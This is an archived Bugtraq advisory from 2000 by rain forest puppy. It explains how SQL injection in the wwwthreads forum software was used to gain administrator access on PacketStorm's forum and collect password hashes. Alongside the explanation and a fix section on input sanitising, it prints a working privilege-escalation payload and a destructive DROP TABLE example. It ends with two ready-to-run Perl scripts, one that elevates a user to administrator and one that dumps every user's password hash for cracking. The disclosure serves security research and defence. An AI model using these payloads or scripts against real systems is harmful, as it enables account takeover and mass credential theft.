4761670 2000-02-03  23:39  /646 rader/ Postmaster
Mottagare: Bugtraq (import) <9642>
Markerad av 1 person.
Ärende: RFP2K01 - "How I hacked Packetstorm" (wwwthreads advisory)
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID:  <Pine.LNX.4.10.10002031027120.15921-100000@eight.wiretrip.net>
Date:         Thu, 3 Feb 2000 10:33:03 -0600
Reply-To: rain forest puppy <rfp@WIRETRIP.NET>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: rain forest puppy <rfp@WIRETRIP.NET>
X-To:         bugtraq@securityfocus.com, vacuum@technotronic.com 
             win2ksecadvice@listserv.ntsecurity.net
X-cc:         jericho@attrition.org, submissions@packetstorm.securify.com
To: BUGTRAQ@SECURITYFOCUS.COM

-- Advisory RFP2K01 ------------------------------ rfp.labs ------------

                         "How I hacked PacketStorm"

                    A look at hacking wwwthreads via SQL

------------------------------- rain forest puppy / rfp@wiretrip.net ---

Table of contents:
  -1. Scope of problem
  -2. Long explaination of SQL hacking
  -3. Solution
  -4. Conclusion
  -5. Included perl scripts

------------------------------------------------------------------------


----[ 1. Scope of problem

Many applications are vulnerable to various forms of SQL hacking.
While programs know they should avoid strcpy() and giving user data
to a system() call, many are unaware of how SQL queries can be
tampered with.

This is more of a technical paper than an advisory, but it does
explain how I used a vulnerability in the wwwthreads package to gain
administrative access and some 800 passwords to PacketStorm's
discussion forum.



----[ 2. Long explaination of SQL hacking

As with any other day, I was surfing around the PacketStorm forums,
which use wwwthreads. The URL parameters (the cruft after the '?' in
an URL) of the forums started catching my eye.  Being the web
security puppy I am, I started getting curious.  So using an
ultra-insightful hacking technique, I changed the 'Board=general'
parameter to read 'Board=rfp' used with the showpost.pl script. Lo
and behold I get the following error given to me:

  We cannot complete your request.  The reason reported was:
    Can't execute query:
    SELECT B_Main,B_Last_Post
    FROM rfp
    WHERE B_Number=1
  . Reason: Table 'WWWThreads.rfp' doesn't exist

Seeing there's also a 'Number=1' parameter, we can figure this query
can be reconstructed as

	SELECT B_Main,B_Last_Post FROM $Board WHERE B_Number=$Number

Now, if any of you have read my phrack 54 article (the SQL appension
part, available at
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=2) you can see where
I'm going.  We can not only substitute a $Board name and $Number, but
also extra SQL commands.  Imagine if $Board were to equal 'general;
DROP TABLE general; SELECT * FROM general ' This would translate into

	SELECT B_Main,B_Last_Post FROM general; DROP TABLE general;
		SELECT * FROM general WHERE B_Number=$Number

Now the ';' is generic for ending a command.  Normally we could use a
'#' for mySQL to ignore everything else on the line; however, the
'FROM' clause is on a separate line than the 'WHERE' clause, so mySQL
won't ignore it.  Considering that invalid SQL will cause mySQL to
not run any commands, we at least need to give a valid command string
to parse...in this case, we feed a generic select (similiar to the
original) back to it.  The result of this (theoretically) is to drop
(delete) the general forum table.

But in reality, it doesn't work.  Not because the theory is wrong,
but because the database user we're using doesn't have DROP
privileges.  And due to how wwwthreads is written, it won't quite let
you do much with this. But all is not lost, we can just start
changing all numbers left and right, looking for where it blows
up...or we can go the easy route and download the (eval) source code
from www.wwwthreads.com.  Yeah, kind of cheating, but it's not quite
a one-to-one solution.

You see, the eval code and the license code (of which PacketStorm is
running) are slightly different, including their SELECT statements.
So we have to be a little creative.  First, let's find the SELECT
statement (or equivalent) that's featured above.

I like to use less, so I just 'less showpost.pl', and search (the '/'
key) for 'SELECT'.  We come up with

# Grab the main post number for this thread
  $query = qq!
    SELECT Main,Last_Post
    FROM $Board
    WHERE Number=$Number
  !;

Wow, that's it..except the field names (Main,Last_Post,Number) are
different than the pro version (B_Main,B_Last_Post,B_Number).  If we
look right above it, we see

# Once and a while it people try to just put a number into the url,
  if (!$Number) {
    w3t::not_right("There was a problem looking up the Post...

Which is what limits the use of the $Number parameter.

At this point let's now evaluate 'why' we want to go forth into this.
Obviously DROP'ing tables ranks right up there with other stupid DoS
tricks.  You may be able to modify other people's posts, but that's
lame too.  Perhaps setting up our own forum?  All that information is
stored in the DB.  But that's a lot of records to update.  How about
becoming a moderator?  Or even better, an administrator?
Administrators can add, delete, and modify forums, boards, and users.
That may be a worthy goal, although your still only limited to the
realm of the forum, which makes you a king of a very small and
pitiful domain.

However, there is one thing worthy.  If you make yourself a user
account, you'll notice you have to enter a password.  Hmmm...those
passwords are stored someplace...like, in the database.  If we hedge
our 'password reuse' theory, and combined with the fact that
wwwthreads (in some configurations) post the IP address of the
poster, we have some possibilities worth checking out.

So, let's look at this password thing.  Going into 'edit profile'
gives us a password field, which looks an awful lot like a crypt hash
(view the HTML source). Damn, so the passwords are hashed.  Well,
that just means you'll need a password cracker and more time before
you can start checking on password reuse. Assuming we *can* get the
passwords......

Let's start with the administrator access first.  The adduser.pl
script is a good place to start, since it should show us all
parameters of a user.  Notice the following code

# --------------------------------------
# Check to see if this is the first user
  $query = qq!
    SELECT Username
    FROM   Users
  !;

  $sth = $dbh -> prepare ($query) or die "Query syntax error: $DBI::errstr.
	Query: $query";
  $sth -> execute() or die "Can't execute query: $query. Reason:
	$DBI::errstr";
  my $Status = "";
  my $Security = $config{'user_security'};
  my $rows = $sth -> rows;
  $sth -> finish;

# -------------------------------------------------------
# If this is the first user, then status is Administrator
# otherwise they are just get normal user status.
  if (!$rows){
    $Status = "Administrator";
    $Security = 100;
  } else {
    $Status = "User";
  }


What this does is look to see if any users are defined.  If no users
are defined, the first user added gets the Status of 'Administrator'
and a security level of 100.  After that, all added users just get
Status=User.  So we need to find a way to make our
Status=Administrator.  A full user record can be seen a little
further down...

# ------------------------------
# Put the user into the database
  my $Status_q   = $dbh -> quote($Status);
  $Username_q    = $dbh -> quote($Username);
  my $Email_q    = $dbh -> quote($Email);
  my $Display_q  = $dbh -> quote($config{'postlist'});
  my $View_q     = $dbh -> quote($config{'threaded'});
  my $EReplies_q = $dbh -> quote("Off");
  $query = qq!
    INSERT INTO Users (Username,Email,Totalposts,Laston,Status,Sort,
	Display,View,PostsPer,EReplies,Security,Registered)
    VALUES ($Username_q,$Email_q,0,$date,$Status_q,$config{'sort'},
	$Display_q,$View_q,$config{'postsperpage'},$EReplies_q,$Security,$date)
  !;


Now, I should take a moment here and explain the quote() function.  A
string value of "blah blah blah", when stuck into a query that looks
like "SELECT * FROM table WHERE data=$data" will wind up looking like

	SELECT * FROM table WHERE data=blah blah blah

which is not valid.  The database doesn't know what to do with the
extra two blah's, since they look like commands.  Therefore all
string data need to be encapsulated in single quotes (').  Therefore
the query should look like

	SELECT * FROM table WHERE data='blah blah blah'

which is correct.  Now, in my SQL appension article I talk about
'breaking out' of the single quote string by including your own
single quote.  So if we submitted "blah blah' MORE SQL COMMANDS...",
it would look like

	SELECT * FROM table WHERE data='blah blah' MORE SQL COMMANDS...'
 	                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	                                      data we submitted

This causes the SQL engine to interpret the MORE SQL COMMANDS as
actual SQL commands, since if figured the 'data' part of the string
ended with the second single quote (the one we submitted).  This is a
drawback of converting data into a 'human readable' string, to be
parsed back into data again...it's hard to determine what's
'code/commands' and what's 'data'.

All is not lost, however.  By submitting a '', it tells the SQL
engine to NOT end the data string, but rather only think of it as a
single quote in the data context.  Therefore the following query

	SELECT * FROM table WHERE data='data''more data'

makes the database look for the value "data'more data".  So to keep
people from breaking out of strings and submitting extra SQL
commands, all you have to do is double up every single quote (turn '
into '').  This will ensure that all data is indeed considered data.
And this is what the DBI->quote() function does--it will put single
quotes around the string, and double all single quotes in the string.

So after all of that explaination, the short of it is that anything
that is run through quote() is of no use to use, because we can't
submit extra SQL commands or otherwise tamper with anything fun.  And
if you look, wwwthreads uses quote() extensively.  So this may be
rough.  But all is not lost...

You see, there are different field types.  You can have strings,
boolean values, various numeric values, etc.  While a string field
needs to be in the format of field='data', a numeric field doesn't
use the '' (i.e.  numeric_field='2' is invalid).  The correct syntax
for numeric fields in numeric_field=2.  Ah ha!  There's no quotes to
deal with, and you can't even use quotes anyways.  The correct
solution is to make sure all numeric field data is indeed numeric
(more on this later).  But I'll give you a hint...wwwthreads doesn't
go that far (nor do most applications, actually).

So, now we need a SQL statement that preferably deals with a table we
are interested in.  A SELECT statement (retrieves data) is tougher,
since we'll need to include a whole 'nother query to do something
other than SELECT.  INSERT and UPDATE are nice because we're already
modifying data...we can just ride in more data to update (hopefully).

Poking around brings us to a very nice spot...changeprofile.pl.  This
is the script that takes data entered in editprofile.pl and enters
the changes into the database.  Of course, the profile is our user
profile.  This means to use this, we need a valid user account.  In
any event, let's have a look-see...

# Format the query words
  my $Password_q   = $dbh -> quote($Password);
  my $Email_q      = $dbh -> quote($Email);
  my $Fakeemail_q  = $dbh -> quote($Fakeemail);
  my $Name_q       = $dbh -> quote($Name);
  my $Signature_q  = $dbh -> quote($Signature);
  my $Homepage_q   = $dbh -> quote($Homepage);
  my $Occupation_q = $dbh -> quote($Occupation);
  my $Hobbies_q    = $dbh -> quote($Hobbies);
  my $Location_q   = $dbh -> quote($Location);
  my $Bio_q        = $dbh -> quote($Bio);
  my $Username_q   = $dbh -> quote($Username);
  my $Display_q    = $dbh -> quote($Display);
  my $View_q       = $dbh -> quote($View);
  my $EReplies_q   = $dbh -> quote($EReplies);
  my $Notify_q     = $dbh -> quote($Notify);
  my $FontSize_q   = $dbh -> quote($FontSize);
  my $FontFace_q   = $dbh -> quote($FontFace);
  my $ICQ_q        = $dbh -> quote($ICQ);
  my $Post_Format_q= $dbh -> quote($Post_Format);
  my $Preview_q    = $dbh -> quote($Preview);


Ack!  Practically everything is quoted!  That means all those
parameters are useless to us.  And lets peek at the final actual
query that sticks all our information back into the database

# Update the User's profile
  my $query =qq!
    UPDATE Users
    SET Password   = $Password_q,
    Email          = $Email_q,
    Fakeemail      = $Fakeemail_q,
    Name           = $Name_q,
    Signature      = $Signature_q,
    Homepage       = $Homepage_q,
    Occupation     = $Occupation_q,
    Hobbies        = $Hobbies_q,
    Location       = $Location_q,
    Bio            = $Bio_q,
    Sort           = $Sort,
    Display        = $Display_q,
    View           = $View_q,
    PostsPer       = $PostsPer,
    EReplies       = $EReplies_q,
    Notify         = $Notify_q,
    TextCols       = $TextCols,
    TextRows       = $TextRows,
    FontSize       = $FontSize_q,
    FontFace       = $FontFace_q,
    Extra1         = $ICQ_q,
    Post_Format    = $Post_Format_q,
    Preview        = $Preview_q
    WHERE Username = $Username_q
  !;

Since wwwthreads nicely slaps the '_q' on the variables, it's easy to
see.  See it?  $Sort, $PostsPer, $TextCols, and $TextRows aren't
quoted.  Now, let's figure out where that data comes from

  my $Sort       = $FORM{'sort_order'};
  my $PostsPer   = $FORM{'PostsPer'};
  my $TextCols   = $FORM{'TextCols'};
  my $TextRows   = $FORM{'TextRows'};

Wow, they're taken straight from the submitted form data.  That means
they are not checked or validated in any way.  Here's our chance!

Going back to structure of the user record (given above), there's a
'Status' field we need to change.  Looking in this UPDATE query,
Status isn't listed.  So this means that the Status field is going to
remain unchanged.  Bummer.  See what we're going to do yet?  Take a
second and think about it.

Remember, all of this hinges around the fact that we want to submit
what looks like data, but in the end, the SQL engine/database will
interpret it differently.  Notice in the query that the fields are
listed in the format of field=value, field=value, field=value, etc
(of course, they're on separate lines).  If I were to insert some
fake values (for the sake of example), I might have

    Name='rfp', Signature='rfp', Homepage='www.wiretrip.net/rfp/'

All I did was put the fields on the same line, collapse the
whitespace, and fill in the (quoted) string values.  This is valid
SQL.

Now, let's put this all together.  Looking at the the 'Sort' variable
(which is numeric), we would feasibly have

	Bio='puppy', Sort=5, Display='threaded'

which is still valid SQL. Since $Sort=$FORM{'sort_order'}, that means
the above value for Sort was given by submitting the parameter
sort_order=5.  Now, let's use Sort to our advantage.  What if we were
to include a comma, and then some more column values?  Oh, say, the
Status field?  Let's set the sort_order parameter to "5,
Status='Administrator',", and then let it run its course.  Eventually
we'll get a query that looks like

	Bio='puppy', Sort=5, Status='Administrator', Display='threaded'
	                  ^^^^^^^^^^^^^^^^^^^^^^^^^^
	                      our submitted data

This is still valid SQL!  And furthermore, it will cause the database
to update the Status field to be 'Administrator'!  But remember when
we looked in adduser.pl, the first user had a Security level of 100.
We want that to, so we just set the sort_order parameter to "5,
Status='Administrator', Security=100,", and then we get

	Bio='puppy', Sort=5, Status='Administrator', Security=100, ...

which updates both values to what we want.  The database not knowing
any better will update those two fields, and now the forums will
think we're an administrator.

So I go to apply this new technique on PacketStorm...and get a 404
for requests to changeprofile.pl.  Yep, the pro version doesn't have
it.  Navigating the 'Edit Profile' menu, I see that it has 'Basic
Profile', 'Display Preferences', and 'Email
Notifications/Subscriptions', which the demo does not (it's all
lumped together).  Wonderful.  If they changed the scripts around,
they may have also changed the SQL queries (well they had to,
actually).  So now we're in 'blackbox' mode (blindly making educated
guesses on what's going on).  Since we want to play with the
sort_order parameter still, you'll see that it's contained in the
'Display Preferences' script (editdisplay.pl).  This script handles
the sort_order, display, view, PostPer, Post_Format, Preview,
TextCols, TextRows, FontSize, FontFace, PictureView, and PicturePost
(gained by viewing the HTML source).  So it's a subset of the
parameters.  Using the above code snippets, we can guess at what the
SQL query looking like.  So why not give it a shot.

First I poke some invalid values into sort_order (characters instead
of numbers).  This causes an error, which I figured.  Since, in the
first example how the fields where 'B_' for the 'Board' table, the
'User' table (which we are now using) prefixes colums with a 'U_'.
So that means we need to use 'U_Status' and 'U_Security' for field
names.  Good thing we checked.

Since this needs to be a valid form submit, we need to submit values
for all of the listed variables.  At this point I should also point
out (again) we need a valid user account of which to increase the
status.  We'll need the username and password (hash), which are
printed as hidden form elements on various forms (like
editdisplay.pl).  You'll see the parameters are Username and Oldpass.
So based on all of this, we can construct a URL that looks like

changedisplay.pl? Cat=&
	Username=rfp
	&Oldpass=(valid password hash)
	&sort_order=5,U_Status%3d'Administrator',U_Security%3d100
	&display=threaded
	&view=collapsed
	&PostsPer=10
	&Post_Format=top
	&Preview=on
	&TextCols=60
	&TextRows=5
	&FontSize=0
	&FontFace=
	&PictureView=on
	&PicturePost=off


The important one of course being

	&sort_order=5,U_Status%3d'Administrator',U_Security%3d100

which is just an escaped version of what we used above (the %3d
translate to the '=' character).  When you lump it all together into
a single string, you get

changedisplay.pl?Cat=&Username=rfp&Oldpass=(valid password hash)
&sort_order=5,U_Status%3d'Administrator',U_Security%3d100&display=threaded
&view=collapsed&PostsPer=10&Post_Format=top&Preview=on&TextCols=60
&TextRows=5&FontSize=0&FontFace=&PictureView=on&PicturePost=off

which, while gross, is what it needs to be.  So, I submit this to
PacketStorm, and get

	Your display preferences have been modified.

Wonderful.  But, noticing on the top menu, I see an 'Admin' option
now.  I click it, and what do I see but the heart warming message of

	As an Administrator the following options are available to you.

Bingo!  Administrator privileges!  Looking at my options, I can edit
users, boards, or forums, assign moderators and administrators, ban
users/hosts, expire/close/open threads, etc.

Now for our second objective...the passwords.  I go into 'Show/Edit
Users', and am asked to pick the first letter of the usernames I'm
interested in.  So I pick 'R'.  At list of all 'R*' users comes up.
I click on 'rfp'.  And there we go, my password hash.  Unfortunately,
there's no nice and easy way to dump all users and their hashes.
Bummer.  So I automated a perl script to do it for me, and dump the
output in a format that can be fed into John the Ripper.



----[ 3. Solution

Now, how to defend against this?  As you saw, the reason this worked
was due to non-restricted data being passed straight into SQL
queries.  Luckily wwwthreads quoted (most) string data, but they
didn't touch numeric data.  The solution is to make sure numeric data
is indeed numeric.  You can do it the 'silent' way by using a
function like so

sub onlynumbers {
        ($data=shift)=~tr/0-9//cd;
        return $data;}

And similar to how all string data is passed through DBI->quote(),
pass all numeric data through onlynumbers().  So, for the above
example, it would be better to use

	my $Sort = onlynumbers($FORM{'sort_order'});

Another area that needs to be verified is the table name.  In our
very first example, we had 'Board=general'.  As you see here, a table
name is not quoted like a string.  Therefore we also need to run all
table names through a function to clean them up as well.  Assuming
table names can have letters, numbers, and periods, we can scrub it
with

sub scrubtable {
        ($data=shift)=~tr/a-zA-Z0-9.//cd;
        return $data;}

which will remove all other cruft.

In the end, *all* (let me repeat that... **ALL**) incoming user data
should be passed through quote(), onlynumbers(), or scrubtable()...NO
EXCEPTIONS!  Passing user data straight into a SQL query is asking for
someone to tamper with your database.

New versions of wwwthreads are available from www.wwwthreads.com,
which implement the solutions pretty much as I've described them here.


----[ 4. Conclusion

I've included two scripts below.  wwwthreads.pl will run the query
for you against a pro version of wwwthreads.  You just have to give
the ip address of the server running wwwthreads, and a valid user and
password hash.  w3tpass.pl will walk and download all wwwthreads user
password hashes, and give output suitable for password cracking with
John the Ripper.

Thanks to PacketStorm for being a good sport about this.

- Rain Forest Puppy / rfp@wiretrip.net

PS. I did not steal any passwords from PacketStorm other than my own
(and Gia's :) for testing.  However, password rotation is always a
good thing, and I recommend it for all applications.


----[ 5. Included perl scripts

-[ wwwthreads.pl

#!/usr/bin/perl
# wwwthreads hack by rfp@wiretrip.net
# elevate a user to admin status
#
# by rain forest puppy / rfp@wiretrip.net
use Socket;

#####################################################
# modify these

# can be DNS or IP address
$ip="209.143.242.119";

$username="rfp";
# remember to put a '\' before the '$' characters
$passhash="\$1\$V2\$sadklfjasdkfhjaskdjflh";

#####################################################

$parms="Cat=&Username=$username&Oldpass=$passhash".
"&sort_order=5,U_Status%3d'Administrator',U_Security%3d100".
"&display=threaded&view=collapsed&PostsPer=10".
"&Post_Format=top&Preview=on&TextCols=60&TextRows=5&FontSize=0".
"&FontFace=&PictureView=on&PicturePost=off";

$tosend="GET /cgi-bin/wwwthreads/changedisplay.pl?$parms
HTTP/1.0\r\n".  "Referer:
http://$ip/cgi-bin/wwwthreads/previewpost.pl\r\n\r\n";

print sendraw($tosend);

sub sendraw {
        my ($pstr)=@_; my $target;
        $target= inet_aton($ip) || die("inet_aton problems");
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,80,$target)){
                select(S);              $|=1;
                print $pstr;            my @in=<S>;
                select(STDOUT);         close(S);
                return @in;
        } else { die("Can't connect...\n"); }}


-[ w3tpass.pl

#!/usr/bin/perl
# download all wwwthread usernames/passwords once you're administrator
# send a fake cookie with authentication and fake the referer
# initial passwords are 6 chars long, contain a-zA-Z0-9 EXCEPT l,O,1
#
# by rain forest puppy / rfp@wiretrip.net
use Socket;

#####################################################
# modify these

# can be DNS or IP address
$ip="209.143.242.119";

$username="rfp";
# remember to put a '\' before the '$' characters
$passhash="\$1\$V2\$zxcvzxvczxcvzxvczxcv";

#####################################################

@letts=split(//,'0ABCDEFGHIJKLMNOPQRSTUVWXYZ');
print STDERR "wwwthreads password snatcher by rain forest puppy\r\n";
print STDERR "Getting initial user lists...";

foreach $let (@letts){
 $parms="Cat=&Start=$let";
 $tosend="GET /cgi-bin/wwwthreads/admin/showusers.pl?$parms HTTP/1.0\r\n".
  "Referer: http://$ip/cgi-bin/wwwthreads/\r\n".
  "Cookie: Username=$username; Password=$passhash\r\n\r\n";

 my @D=sendraw($tosend);
 foreach $line (@D){
  if($line=~/showoneuser\.pl\?User=([^"]+)\"\>/){
   push @users, $1;}}}

$usercount=@users;
print STDERR "$usercount users retrieved.\r\n".
 "Fetching individual passwords...\r\n";

foreach $user (@users){
 $parms="User=$user";
 $tosend="GET /cgi-bin/wwwthreads/admin/showoneuser.pl?$parms HTTP/1.0\r\n".
  "Referer: http://$ip/cgi-bin/wwwthreads/\r\n".
  "Cookie: Username=$username; Password=$passhash\r\n\r\n";

 my @D=sendraw($tosend);
 foreach $line (@D){
  if($line=~/OldPass value = "([^"]+)"/){
   ($pass=$1)=~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
   $user =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
   print $user.':'.$pass."::::::::::\n";
   last;}}}

print STDERR "done.\r\n\r\n";

sub sendraw {
        my ($pstr)=@_; my $target;
        $target= inet_aton($ip) || die("inet_aton problems");
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,80,$target)){
                select(S);              $|=1;
                print $pstr;            my @in=<S>;
                select(STDOUT);         close(S);
                return @in;
        } else { die("Can't connect...\n"); }}

# Greets to everyone who hasn't used RDS to deface a website (small crowd)




--- rain forest puppy / rfp@wiretrip.net ------------- ADM / wiretrip ---

SQL hacking has many ins, many outs; there's many levels of
complexity...

--- Advisory RFP2K01 ------------------------------ rfp.labs ------------
(4761670) ------------------------------------------(Ombruten)